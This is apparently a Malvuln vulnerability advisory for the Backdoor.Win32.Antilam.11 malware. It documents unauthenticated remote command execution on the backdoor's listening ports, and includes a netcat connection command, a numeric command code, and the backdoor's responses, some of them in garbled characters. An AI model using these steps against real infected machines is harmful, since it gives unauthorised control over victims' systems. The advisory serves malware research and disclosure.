Monday, November 22, 2021

Backdoor.Win32.Antilam.11 Code Execution

Discovery / credits: Malvuln - (c) 2021
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.Antilam.11
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP ports 29559, 47891. Third party attackers who can reach infected systems can execute commands made available by the backdoor. Netcat utility worked the best for running commands, which are supplied as numeric values or hex characters. The values sent correspond to different commands mapped in the backdoor. Commands are typically three digits e.g. 001 and perform various actions on the infected host.
Type: PE32
MD5: 290477c9707f64a316888493ae67b1ef
Vuln ID: MVID-2021-0403
Dropped files: scandisk.exe
Disclosure: 11/21/2021

nc64.exe x.x.x.x 47891
001 Windows: C:\WINDOWS
System: C:\WINDOWS\system32
Temp: C:\Users\Victim\AppData\Local\Temp\
Windows: Windows NT 6.2 9200
Windows: 02
α: Victim
Windows: English (United States)
╨ατ≡: 1547x787
NumLock: Off
CapsLock: Off
ScrollLock: Off
╤ΓεßεΣφεσ ∞σ±≥ε φα ΣΦ±Ωσ: 3,722,629,120
000Taskbar ±Ω≡√δ± ...005
000╚ΩεφΩΦ ±Ω≡√ⁿ...006
000Monitor ..008
000Ctrl+Alt+Del ...009
000ScrollLock ...010
000CapsLock ..011
000NumLock Γφ...012
000CD-ROM ταΩ≡√≥...013
000═σ ∞επ≤ ≤±≥αφεΓΦ≥ⁿ Γ≡σ∞ ...014
000═σ ∞επ≤ ≤±≥αφεΓΦ≥ⁿ Σα≥≤...015
01508:56 PM|11/17/2021016
000Mouse was been unlocked...019
66022023Shell Experience Host3IQHO\Victim]+ (Administrator)

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thank you Templateism for the design - You should have written the code a little more complicated - Nothing Encrypted anymore